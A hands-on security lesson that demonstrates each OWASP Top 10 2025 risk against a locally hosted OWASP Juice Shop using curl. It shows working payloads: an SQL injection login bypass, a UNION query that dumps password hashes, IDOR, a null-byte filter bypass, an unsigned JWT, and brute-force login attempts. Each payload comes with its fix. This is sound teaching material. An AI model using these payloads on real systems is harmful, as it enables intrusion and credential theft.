By the end you'll know
- What the OWASP Top 10 is, and the ten risks on the 2025 list
- What each one looks like in a real request, and the fix for each
- How SQL injection works, step by step, and why one quote mark matters
- Why the server must decide who you are and what you're allowed, never the browser
- Why "it works in the browser" says nothing about what the API accepts
Before you start
- You need: Docker on your computer, and
jq. No cluster this time. - The target is OWASP Juice Shop, a web shop built to be insecure for exactly this kind of practice, with its own fake accounts and orders. It runs in a container bound to
127.0.0.1, so nothing outside your computer can reach it. - Only try these against systems you own or are allowed to test. Every request in this lesson is illegal to send to someone else's site without permission.
- Maps to Security+: domain 2 (application attacks, indicators of malicious activity) and domain 4 (application security).
The short version
- A01 Broken access control: another customer's basket, a review posted as user 1, and a "forbidden" backup file, fetched with a two-character trick.
- A04 and A05, Cryptographic failures and Injection: logged in as the admin by typing
' OR 1=1--as the email; then all 25 accounts with their password hashes, unsalted MD5, in one search. - A06 Insecure design: a quantity of minus 100, accepted, for a line total of minus $199.
- A07 Authentication failures: 20 wrong passwords in a row, never slowed down; the admin's password is
admin123. - A08 Integrity failures: a login token with no signature, made on the laptop, accepted.
- A09 Logging failures: the shop's log recorded two database errors, and none of the rest.
- Juice Shop's scoreboard: 10 challenges solved, all with
curl.
The OWASP Top 10
OWASP, the Open Worldwide Application Security Project, is a non-profit that publishes free security standards and tools. Its Top 10 is a list of the most common and serious risks in web applications, rebuilt every few years from data that security companies contribute about the applications they test, plus a survey of people who do the work. The 2025 edition:
| Risk | In one line | |
|---|---|---|
| A01 | Broken Access Control | Doing or seeing what you're not allowed to |
| A02 | Security Misconfiguration | Unsafe settings, defaults and leftovers |
| A03 | Software Supply Chain Failures | Vulnerable or compromised components and tools (new) |
| A04 | Cryptographic Failures | Weak or missing protection of data |
| A05 | Injection | Input that's run as code: SQL, commands, scripts |
| A06 | Insecure Design | Flaws in how it was meant to work, not how it was built |
| A07 | Authentication Failures | Weak logins, guessable passwords, broken sessions |
| A08 | Software or Data Integrity Failures | Trusting code or data that wasn't checked |
| A09 | Security Logging and Alerting Failures | Attacks that nobody records, or nobody notices |
| A10 | Mishandling of Exceptional Conditions | Errors that leak, crash or fail open (new) |
It's an awareness document, not a checklist: a list of where to look first. Most real breaches of web applications fall under one of these ten.
The shop
docker run -d --name juice-shop -p 127.0.0.1:3005:3000 bkimminich/juice-shop:latest
curl -s http://127.0.0.1:3005/rest/admin/application-version
-p 127.0.0.1:3005:3000publishes the shop's port 3000 on port 3005, only on your computer's loopback address. Without127.0.0.1:, Docker would publish it on every network your computer is on.
bkimminich/juice-shop@sha256:42843723a7bf4246aa5d63c324978b17ef296ac78434aeddd34c427bfb5853f4
{"version":"20.3.0"}
(Pulled as latest, so the digest is recorded: that's the exact shop these results came from.) Then an ordinary customer account, the kind anyone can sign up for:
$ curl -s -H Content-Type:application/json -d '{"email":"lesson7@example.com","password":"Lesson7-pass!","passwordRepeat":"Lesson7-pass!"}' http://127.0.0.1:3005/api/Users
{"status":"success","email":"lesson7@example.com","role":"customer"}
logged in as lesson7@example.com; this account's basket is number 6
Everything below goes straight to the shop's API, the requests its web pages make behind the scenes. The pages hide plenty; the API is what an attacker talks to.
A01 Broken access control
Someone else's basket. Logged in as lesson7, whose basket is number 6:
$ as_user http://127.0.0.1:3005/rest/basket/6
{"basket":6,"owner":25,"items":[]}
$ as_user http://127.0.0.1:3005/rest/basket/1
{"basket":1,"owner":1,"items":[{"name":"Apple Juice (1000ml)","qty":2},{"name":"Orange Juice (1000ml)","qty":3},{"name":"Eggfruit Juice (500ml)","qty":1}]}
as_useris the script's shorthand forcurlwithlesson7's login token.
Change one number, get another customer's basket. The server checked that you're logged in; it never checked that this basket is yours. This kind of flaw has a name, IDOR (insecure direct object reference), and it's the most common access control bug there is.
A review as someone else. The feedback form sends the user's ID along with the review. So send a different one:
$ curl -s http://127.0.0.1:3005/rest/captcha/
{"captchaId":0,"captcha":"2*10-7","answer":"13"}
$ as_user -H Content-Type:application/json -d '{"UserId":1,"captchaId":1,"captcha":"15","comment":"lesson 7: posted by someone else","rating":1}' http://127.0.0.1:3005/api/Feedbacks
{"status":"success","posted_as_user":1,"comment":"lesson 7: posted by someone else"}
$ jwt_payload "$TOKEN"
{"id":25,"email":"lesson7@example.com"}
Logged in as user 25; review posted as user 1. The server took the browser's word for who wrote it. (And the CAPTCHA, the puzzle meant to stop scripts, sends its own answer to the browser along with the question. That one's A06: a design that can't work.)
A file you're not allowed. The shop has a file folder, /ftp, and lists it to anyone:
quarantine acquisitions.md announcement_encrypted.md coupons_2013.md.bak eastere.gg encrypt.pyc incident-support.kdbx legal.md package-lock.json.bak package.json.bak suspicious_errors.yml
$ curl -s http://127.0.0.1:3005/ftp/acquisitions.md | head -8
# Planned Acquisitions
> This document is confidential! Do not distribute!
Backups, a password database (.kdbx), and a confidential document. The server does try to stop some of it:
$ curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:3005/ftp/package.json.bak
403
<title>Error: Only .md and .pdf files are allowed!</title>
$ curl -s http://127.0.0.1:3005/ftp/package.json.bak%2500.md
{
"name": "juice-shop",
"version": "6.2.0-SNAPSHOT",
"description": "An intentionally insecure JavaScript Web Application",
%2500 is a null byte, encoded twice. The check sees a name ending in .md and allows it; the code that opens the file stops reading the name at the null byte, and opens package.json.bak. Two parts of the program disagreeing about what a name means is a classic way past a check.
The fix: check ownership on the server, on every request, for every object ("is basket 1 this user's?"). Take the user's identity from their verified login, never from what the browser sends. Deny by default. And don't serve a folder you haven't decided, file by file, to publish.
A02 Security misconfiguration
$ curl -sI http://127.0.0.1:3005/
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Access-Control-Allow-Origin: *lets any website's scripts read this API's responses from a visitor's browser.- No
Content-Security-Policy, the header that limits where a page may load scripts from. It's the main defense against injected scripts (cross-site scripting). - No
Strict-Transport-Security, which makes browsers use HTTPS only. (On a local test, there's no HTTPS anyway.) - Some are right:
nosniffandX-Frame-Optionsare set.
The file listing above is a misconfiguration too: directory listing switched on, and backups left where the server can reach them. And A10 below shows the shop's error pages. Misconfiguration is rarely one big mistake: it's defaults nobody changed and leftovers nobody removed.
The fix: a hardened, repeatable configuration (the same idea as Lesson 3, for web servers), security headers set once in one place, and nothing deployed that the application doesn't need.
A03 Software supply chain failures
New on the 2025 list, and the subject of the last lesson. Trivy, against the shop's own image:
os-pkgs debian 0 critical 2 high
lang-pkgs node-pkg 11 critical 32 high
crypto-js 3.3.0 4.0.0 CVE-2026-71851
crypto-js 3.3.0 4.2.0 CVE-2023-46233
decompress 4.2.1 no fix CVE-2026-101894
decompress 4.2.1 no fix CVE-2026-53486
handlebars 4.7.9 4.7.10 CVE-2026-106445
handlebars 4.7.9 4.7.10 CVE-2026-106446
jsonwebtoken 0.1.0 4.2.2 CVE-2015-9235
jsonwebtoken 0.4.0 4.2.2 CVE-2015-9235
This time the operating system is nearly clean and the app's own JavaScript packages carry the risk: 11 critical. Look at the last two: jsonwebtoken 0.1.0, the library that checks login tokens, with a flaw from 2015. A08 below shows exactly what that flaw does.
The fix: Lesson 6, applied to the app: an SBOM, dependency scanning in the pipeline (npm audit, Trivy, Dependabot), updates as routine, and every tool pinned.
A04 Cryptographic failures, and A05 Injection
These two arrive together, because one injection hands over every password hash at once.
Logging in as the admin, with no password
The login form sends an email and a password. The server builds a database query out of them, something like:
SELECT * FROM Users WHERE email = '<email>' AND password = '<hash of password>'
So type this as the email: ' OR 1=1--
SELECT * FROM Users WHERE email = '' OR 1=1--' AND password = '...'
- The
'closes the email's quotes early. OR 1=1is true for every row.--starts a comment, so the password check is ignored.
$ curl -s -H Content-Type:application/json -d '{"email":"'"'"' OR 1=1--","password":"anything"}' http://127.0.0.1:3005/rest/user/login
{"token":"eyJ0eXAiOiJKV1QiLCJh...","basket":1,"user":"admin@juice-sh.op"}
Every user matched, and the first one is the admin. That's injection: input treated as part of a command. And the token it returned, a JWT (JSON Web Token), is only encoded, not encrypted, so anyone can read it:
$ jwt_payload "$ADMIN_TOKEN"
{"id":1,"email":"admin@juice-sh.op","role":"admin","password":"0192023a7bbd73250516f069df18b500"}
The password hash is inside the login token, sent to the browser.
Every account, in one search
The product search is injectable too. A UNION adds a second query's rows to the first, so the search can return the Users table instead of products, but only if both halves have the same number of columns. So try each count until the database stops complaining:
6 columns: HTTP 500
7 columns: HTTP 500
8 columns: HTTP 500
9 columns: HTTP 500
10 columns: HTTP 200
$ echo "$Q"
qwert')) UNION SELECT id, email, password, '4', '5', '6', '7', '8', '9', '10' FROM Users--
qwert'))closes the search's own text and brackets, matching nothing.UNION SELECT id, email, password, ...puts each user's email where a product's name goes, and the hash where its description goes; the numbers fill the remaining columns.
admin@juice-sh.op 0192023a7bbd73250516f069df18b500
jim@juice-sh.op e541ca7ecf72b8d1286474fc613e5e45
bender@juice-sh.op 0c36e517e3fa95aabf1bbffc6744a4ef
...
ciso@juice-sh.op 861917d5fa5f1172f931dc700d81a8fb
support@juice-sh.op 3869433d74e3d0c86fd25562f836bc82
25
25 32
All 25 accounts, every hash 32 hex characters: MD5, with no salt. That's the cryptographic failure:
$ printf %s admin123 | md5
0192023a7bbd73250516f069df18b500
The admin's hash is the MD5 of admin123, and anyone can check a guess in a microsecond. MD5 is fast, which is exactly wrong for passwords: a single graphics card tries billions of guesses a second. With no salt (a random value added to each password before hashing), every user with the same password has the same hash, and precomputed tables of common passwords' hashes find them instantly.
The fixes. For injection: parameterized queries, where the query and the user's input travel separately and the input can never become code (WHERE email = ?), and input validation on top. For passwords: a slow, salted algorithm made for them, Argon2id, bcrypt or scrypt. And never put a password hash, or anything else secret, in a token the browser holds.
A06 Insecure design
Add one apple juice to the basket, then change the quantity:
$ as_user -X PUT -H Content-Type:application/json -d '{"quantity":-100}' http://127.0.0.1:3005/api/BasketItems/9
{"status":"success","quantity":-100}
$ as_user http://127.0.0.1:3005/rest/basket/6
[{"name":"Apple Juice (1000ml)","price":1.99,"quantity":-100,"line_total":-199}]
A basket worth minus $199. Nothing here is a coding bug: the update did exactly what it was written to do. Nobody decided that quantities have to be positive, so nothing checks. (The CAPTCHA that sends its own answer is the same kind of flaw.) Design flaws can't be fixed by better code alone; they're fixed by thinking about misuse before building.
The fix: threat modeling (Lesson 2) for business rules: "what if the quantity is negative? zero? a million? what if two requests arrive at once?" Then validate every value on the server, against the business's rules, not just its type.
A07 Authentication failures
$ for i in $(seq 1 20); do curl -s -o /dev/null -w '%{http_code} ' -H Content-Type:application/json -d '{"email":"admin@juice-sh.op","password":"wrong'$i'"}' http://127.0.0.1:3005/rest/user/login; done
401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401 401
$ curl -s -o /dev/null -w '%{http_code}\n' -H Content-Type:application/json -d '{"email":"admin@juice-sh.op","password":"admin123"}' http://127.0.0.1:3005/rest/user/login
200
Twenty wrong passwords, never slowed, never locked, and then the right one: admin123, which a list of the most common passwords would reach early. No rate limit, no lockout, no second factor, and an admin with one of the weakest passwords there is.
The fix: rate limiting by account and by address (Lesson 3's firewall did this for SSH), checking new passwords against lists of breached ones, multi-factor authentication for anything important, and no default or shared admin passwords.
A08 Software or data integrity failures
A JWT has three parts: a header that names the signing algorithm, the data, and a signature. The shop signs its tokens with RS256, a private key only the server has:
$ echo "$TOKEN" | cut -d. -f1 | base64 -d
{"typ":"JWT","alg":"RS256"}
Then a token made on the laptop: algorithm none, data claiming to be an admin account the script never logged in as, and no signature at all:
$ echo "$FORGED" | cut -d. -f1 | base64 -d
{"typ":"JWT","alg":"none
(The last two characters are lost to base64 padding in the display; the token itself has them.) The shop's "who am I" endpoint returned nothing for either token, because it reads the token from a cookie, not the header these requests used. But Juice Shop's own scoreboard settled it:
Unsigned JWT (Vulnerable Components)
The server accepted the unsigned token. That's CVE-2015-9235, the jsonwebtoken 0.1.0 flaw Trivy found in A03: the library let the token choose its own algorithm, and none means "don't check". Integrity failures are about trusting something because of where it seems to come from instead of checking it: unsigned tokens, unsigned updates, data the client says is fine.
The fix: the server decides the algorithm and always verifies the signature, using a current library; sign software, updates and images (Lesson 6's Cosign), and verify before use.
A09 Security logging and alerting failures
By now the shop has seen SQL injection, a stolen admin login, all 25 password hashes taken, a forged review, twenty failed logins and a forged token. Its log:
$ docker logs juice-shop 2>&1 | wc -l
65
$ docker logs juice-shop 2>&1 | grep -ciE 'login|sql|union|unauthori|forbidden'
4
$ docker logs juice-shop 2>&1 | tail -8
info: Solved 4-star nullByteChallenge (Poison Null Byte)
...
Error: SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns
Error: SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns
info: Solved 2-star loginAdminChallenge (Login Admin)
...
info: Solved 2-star weakPasswordChallenge (Password Strength)
Two database errors, the failed injection attempts, with no address, user or request to say who or what. The "Solved" lines exist only because Juice Shop is a training tool keeping score; a real shop wouldn't have them. Nothing about twenty failed logins on the admin account, a basket read by its non-owner, or a review posted under another name. If this were real, nobody would know until the hashes turned up for sale.
The fix: log security events on purpose (logins and failures, access denied, changes to accounts and permissions, input validation failures) with who, what, when and from where; send them off the server; and alert on patterns, like twenty failures in a second. That's Lesson 10.
A10 Mishandling of exceptional conditions
New on the 2025 list. One quote mark on its own was handled:
$ curl -s -w '\nHTTP %{http_code}\n' "http://127.0.0.1:3005/rest/products/search?q='"
{"status":"success","data":[]}
HTTP 200
But a query that breaks the database differently:
Error: SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns
* {
margin: 0;
padding: 0;
...
The database's own error message, sent to the browser in a full error page. That's what made the column-counting in A05 possible: each attempt's error said exactly what was wrong. An error is information, and this one went to the attacker instead of the log.
The fix: catch errors in one place, return a short, generic message with a reference number, and log the details on the server. And decide what failure means in advance: if a permission check throws an error, the answer must be "no", never "carry on" (fail closed).
In real systems
- Test the API, not the pages. Every finding here came from
curl. The web pages would have hidden the basket number, the user ID and the token; none of that stopped anything. - Use the framework's protections. Parameterized queries and ORMs, templating that escapes output, the framework's own authentication and password hashing. Most of the Top 10 comes from going around them.
- Scan, then test by hand. Dynamic scanners such as OWASP ZAP find the obvious (missing headers, simple injection). Access control and design flaws like A01 and A06 need a person, or tests written for them.
- The OWASP ASVS, the Application Security Verification Standard, turns the Top 10 into testable requirements, and the OWASP Cheat Sheet Series has a page for nearly every fix above.
- A web application firewall (WAF) can block common attack patterns, like
' OR 1=1. It's a net, not a fix: the flaw is still in the code, and attackers vary the pattern.
Spot the problem
Work out what's wrong before you read the explanation.
The hidden field. A team builds a product review form. The page fills in the logged-in user's ID in a hidden field, so it's sent with each review. Their tests click through the form as three different users, and each review shows the right name. A penetration test a month later finds reviews posted under other customers' names, including one from the CEO's account praising a competitor. How, if the tests passed? The tests checked what the page sends; an attacker sends whatever they like. A hidden field is hidden from the screen, not from anyone who can open the browser's developer tools or use curl. This lesson did exactly that: logged in as user 25, it sent "UserId":1, and the shop posted the review as user 1. The server already knew who was logged in, from the signed token; it used the browser's number instead. Three fixes: take identity from the verified session on the server, and ignore any user ID the client sends; test the API directly with someone else's IDs, not only through the page; and check ownership on every request that names an object, the same fix as the basket.
Keep this
| Risk | Found here | The fix |
|---|---|---|
| A01 Broken access control | Another user's basket; a review as user 1; a forbidden file | Check ownership on the server, every request; identity from the session |
| A02 Security misconfiguration | Any origin allowed; no CSP; a listed file folder | Hardened, repeatable configuration; security headers |
| A03 Supply chain failures | 11 critical in the app's packages | SBOM, dependency scanning, routine updates, pinned tools |
| A04 Cryptographic failures | Unsalted MD5; a hash inside the token | Argon2id, bcrypt or scrypt; nothing secret in tokens |
| A05 Injection | Admin login with ' OR 1=1--; all hashes by UNION | Parameterized queries; validate input |
| A06 Insecure design | A quantity of minus 100; a CAPTCHA that sends its answer | Threat model the business rules; validate against them |
| A07 Authentication failures | 20 guesses unhindered; admin123 | Rate limits, breached-password checks, MFA |
| A08 Integrity failures | An unsigned token accepted | Always verify signatures; the server picks the algorithm |
| A09 Logging failures | Two errors logged, nothing else | Log security events; ship them off the server; alert |
| A10 Exceptional conditions | The database error sent to the browser | Generic errors out, details in the log; fail closed |
Where you are now
You've seen each of the ten risks happen, with the request that did it and the fix that stops it, and you know to test what the server accepts rather than what the page shows. Juice Shop has over a hundred more challenges if you want to keep going: it's still running at http://127.0.0.1:3005, with a scoreboard at /#/score-board. The next lesson goes back to the bookshop and the cluster, to the thing protecting every request in between: TLS and certificates.
Check yourself
Changing /rest/basket/6 to /rest/basket/1 showed another customer's basket. What was missing?
Why did ' OR 1=1-- as the email log in as the admin?
Why is unsalted MD5 bad for passwords?
Why is a quantity of minus 100 insecure design, not a coding bug?
What did the unsigned token show?
The forged review was posted as user 1. Where should the user's identity come from?
Key terms
- OWASP: the Open Worldwide Application Security Project, a non-profit publishing free security standards and tools.
- OWASP Top 10: OWASP's list of the most serious risks to web applications, last updated in 2025.
- API: the requests an application's pages make behind the scenes, and what an attacker talks to directly.
- IDOR (insecure direct object reference): reaching another user's data by changing an ID in a request.
- SQL injection: input that becomes part of a database query.
- Parameterized query: a query sent separately from its input, so the input can't become code.
- Salt: a random value added to each password before hashing, so identical passwords hash differently.
- JWT (JSON Web Token): a signed, readable token carrying who a user is.
- Fail closed: when something goes wrong, deny rather than allow.
- Null byte: a zero character that ends a string in some languages, used to make two parts of a program read a name differently.
Go deeper
- OWASP Top 10:2025 (opens in a new tab), each risk with examples and references.
- OWASP Juice Shop (opens in a new tab), and its free book, Pwning OWASP Juice Shop, with every challenge explained.
- The OWASP Cheat Sheet Series (opens in a new tab): SQL injection prevention, password storage, authentication, and more.
- OWASP ZAP (opens in a new tab), a free scanner for web applications.
- Try: open the shop in a browser, then
/#/score-board. Which challenges in Broken Access Control can you solve with the requests from this lesson? - Try: in the browser's developer tools, open the Network tab and post a review. Find the
UserIdin the request. Then think about what the server should do with it.